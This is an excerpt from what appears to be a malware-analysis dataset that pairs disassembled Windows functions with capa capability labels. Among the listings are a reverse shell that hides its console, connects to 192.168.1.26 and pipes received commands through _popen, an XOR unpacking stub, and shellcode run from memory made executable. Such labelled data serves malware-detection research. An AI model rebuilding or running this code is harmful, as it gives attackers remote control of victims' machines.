joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4024b6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x64
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x56], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x56], 0
je 0x402502
push 0
push 0
push 0
push 0
call sub.pdh.dll_PdhGetDataSourceTimeRangeW
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xc0000000
jbe 0x402502
mov eax, dword [ebp - 8]
add eax, 0x5c
mov dword [ebp - 8], eax
push 0x409
mov ecx, dword [ebp - 8]
and ecx, 0xffff
push ecx
push 0xa
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x56]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x80], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x56]
mov dword [edx + 0x42], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x80]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x56]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xae], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xae]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x11e], eax
mov edx, dword [ebp - 4]
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [edx + 0x114], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x80]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x56]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp - 4]
mov dword [edx], eax
push 0x50
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x407130
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xe8], eax
mov edx, dword [ebp - 4]
push edx
call fcn.00401526
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x40274d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x18]
xor eax, eax
mov ax, word [edx + 8]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2c], eax
mov word [ebp - 0x28], 0x4d42
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x20]
lea edx, [edx + ecx*4 + 0xe]
mov eax, dword [ebp - 0x18]
add edx, dword [eax + 0x14]
mov dword [ebp - 0x26], edx
mov word [ebp - 0x22], 0
mov word [ebp - 0x20], 0
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x20]
lea edx, [edx + ecx*4 + 0xe]
mov dword [ebp - 0x1e], edx
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x20]
lea eax, [edx*4 + 0x28]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x14]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
push 0
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402871
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x402871
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x403b59
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x41f810
cmp edx, dword [eax]
je 0x403b7b
add eax, 8
inc ecx
cmp eax, 0x41f8a0
jl 0x403b6c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x41f810]
jne 0x403ca9
mov eax, dword [0x41fc88]
cmp eax, 1
je 0x403c83
test eax, eax
jne 0x403bac
cmp dword [0x41f764], 1
je 0x403c83
cmp edx, 0xfc
je 0x403ca9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x403be3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404940
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00402d80
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x403c26
lea eax, [ebp - 0x1a4]
push eax
call fcn.00402d80
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4064c0
push edi
call fcn.00404df0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404940
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404950
lea eax, [ebp - 0xa0]
push 0x4064a0
push eax
call fcn.00404950
push dword [esi + 0x41f814]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404950
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00404d65
add esp, 0x2c
pop edi
jmp 0x403ca9
lea eax, [ebp + 8]
lea esi, [esi + 0x41f814]
push 0
push eax
push dword [esi]
call fcn.00402d80
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40a6c9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040575c
and dword [ebp - 4], 0
cmp dword [0x44b76c], 0
mov ebx, eax
jne 0x40a77a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a82b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x43dbb4
push edi
call esi
test eax, eax
je 0x40a82b
push eax
call fcn.004056ea
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44b76c], eax
call esi
push eax
call fcn.004056ea
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44b770], eax
call esi
push eax
call fcn.004056ea
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44b774], eax
call esi
push eax
call fcn.004056ea
pop ecx
mov dword [0x44b77c], eax
test eax, eax
je 0x40a77a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004056ea
pop ecx
mov dword [0x44b778], eax
mov eax, dword [0x44b778]
cmp eax, ebx
je 0x40a7d2
cmp dword [0x44b77c], ebx
je 0x40a7d2
push eax
call fcn.00405765
push dword [0x44b77c]
mov esi, eax
call fcn.00405765
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a7d2
test edi, edi
je 0x40a7d2
call esi
test eax, eax
je 0x40a7c9
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a7c9
test byte [ebp - 0xc], 1
jne 0x40a7d2
or dword [ebp + 0x10], 0x200000
jmp 0x40a80b
mov eax, dword [0x44b770]
cmp eax, ebx
je 0x40a80b
push eax
call fcn.00405765
pop ecx
test eax, eax
je 0x40a80b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a80b
mov eax, dword [0x44b774]
cmp eax, ebx
je 0x40a80b
push eax
call fcn.00405765
pop ecx
test eax, eax
je 0x40a80b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44b76c]
call fcn.00405765
pop ecx
test eax, eax
je 0x40a82b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a82d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40aaa6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4426a0]
jne 0x40aab0
repz ret
jmp fcn.0040d42a
Function at 0x401561
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4ff8
call fcn.004023f0
sub esp, eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x47d0
mov dword [esp + 4], 0
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._memset
mov eax, dword [0x408070]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._recv_16
sub esp, 0x10
mov eax, str.quit
movzx edx, byte [eax]
lea eax, [ebp - 0x40c]
movzx eax, byte [eax]
cmp dl, al
jne 0x40162c
mov eax, dword [0x408070]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
mov dword [esp], 0
call sym._exit
mov dword [esp + 8], 3
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], 0x406069
call sym._strncmp
test eax, eax
jne 0x401679
mov dword [esp + 8], 0x64
mov dword [esp + 4], 3
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._str_cut
mov dword [esp], eax
call sym._chdir
jmp 0x401570
mov dword [esp + 4], 0x40606d
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym.__popen
mov dword [ebp - 0xc], eax
jmp 0x4016ac
lea eax, [ebp - 0x80c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4fdc]
mov dword [esp], eax
call sym._strcat
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
lea eax, [ebp - 0x80c]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x401694
mov eax, dword [0x408070]
mov edx, eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x47d0
lea eax, [ebp - 0x4fdc]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._send_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
jmp 0x401570
Function at 0x401709
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
call sym._AllocConsole_0
mov dword [esp + 4], 0
mov dword [esp], str.ConsoleWindowClass
call sym._FindWindowA_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov dword [ebp - 0x10], str.192.168.1.26
mov word [ebp - 0x12], 0x3039
lea eax, [ebp - 0x1b4]
mov dword [esp + 4], eax
mov dword [esp], 2
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x40177d
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [0x408070], eax
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x24]
mov dword [esp], eax
call sym._memset
mov word [ebp - 0x24], 2
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0x12]
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x22], ax
nop
mov eax, dword [0x408070]
mov edx, eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._connect_12
sub esp, 0xc
test eax, eax
je 0x40181a
mov dword [esp], 0xa
call sym._sleep
jmp 0x4017e6
call sym._shell
nop
leave
ret 0x10
Function at 0x401eb0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x401efb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401ef4
test esi, esi
je 0x401ef4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401ed0
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4020e0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402130
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402208
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40216e
cmp eax, 4
jne 0x402190
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40217e
cmp edx, 4
je 0x40217e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004020e0
Function at 0x4041f0
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call sym.___main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
jne 0x404226
jmp 0x40425e
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x404223
cmp al, 9
je 0x404223
cmp al, 0x22
jne 0x404247
jmp 0x4042a6
cmp al, 9
je 0x404253
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x404240
jmp 0x404253
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x404250
cmp al, 9
je 0x404250
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x40426d
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x4042b2
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x4042a2
cmp al, 0x22
jne 0x404253
lea ebx, [edx + 2]
jmp 0x404253

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44e004]
jne 0x40100a
repz ret
jmp fcn.00401243

Function at 0x40314b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44e004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040213e
and dword [ebp - 0x14], 0
cmp dword [0x4508ac], 0
mov dword [ebp - 0x18], eax
jne 0x4031fe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4032a6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4032a6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4508ac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4508b0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4508b4], eax
call edi
push eax
call esi
mov dword [0x4508bc], eax
test eax, eax
je 0x4031fe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4508b8], eax
mov eax, dword [0x4508b8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403257
cmp dword [0x4508bc], ecx
je 0x403257
push eax
call esi
push dword [0x4508bc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403257
test ebx, ebx
je 0x403257
call edi
test eax, eax
je 0x40324e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40324e
test byte [ebp - 8], 1
jne 0x403257
or dword [ebp + 0x10], 0x200000
jmp 0x40328a
mov eax, dword [0x4508b0]
cmp eax, dword [ebp - 0x18]
je 0x40328a
push eax
call esi
test eax, eax
je 0x40328a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40328a
mov eax, dword [0x4508b4]
cmp eax, dword [ebp - 0x18]
je 0x40328a
push eax
call esi
test eax, eax
je 0x40328a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4508ac]
call esi
test eax, eax
je 0x4032a6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4032a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x405670
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44c
mov eax, dword [0x44e004]
xor eax, esp
mov dword [esp + 0x448], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4056a9
mov eax, dword [0x44f934]
mov dword [0x48c694], eax
cmp dword [0x48c30c], 0x3c
jne 0x4056b5
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x405697
cmp dword [0x48c30c], 0x7c
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jne 0x40573f
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push str.Huhadidek
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x48c30c], 0x110a
jne 0x4057a7
push str.Buyezinanax_babotuxavofex_copujen
mov dword [0x48c300], ebx
mov dword [0x48c304], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.wudomizegotog
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
call fcn.0040100f
add esp, 4
push ebx
call fcn.0040100f
add esp, 4
push ebx
call fcn.0040100f
add esp, 4
call fcn.00405410
xor ecx, ecx
cmp dword [0x48c30c], ebx
jbe 0x4057eb
jmp 0x4057c0
mov eax, dword [0x48c694]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + ecx]
mov edx, dword [0x48c030]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x48c30c]
jb 0x4057c0
push str.msimg32.dll
call esi
mov ecx, dword [0x48c30c]
mov edx, dword [0x48c030]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004055e0
call fcn.00405430
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea eax, [esp + 0x28]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x405848
cmp dword [esp + 0x30], 0xf5bed7
jne 0x405851
inc esi
cmp esi, 0x1ece7a52
jl 0x405825
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor esi, esi
nop
cmp esi, 0x12e6c3
jne 0x40586d
call fcn.00405400
cmp dword [0x48c30c], 0x3dc
mov dword [0x48c034], 0x8e46a6f0
jne 0x4058a7
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x24], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.socuyaxokepajivinixu_jedubatilelokatuzaze_futalufa_kemabahayujozosigulon
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405860
mov ecx, dword [esp + 0x454]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret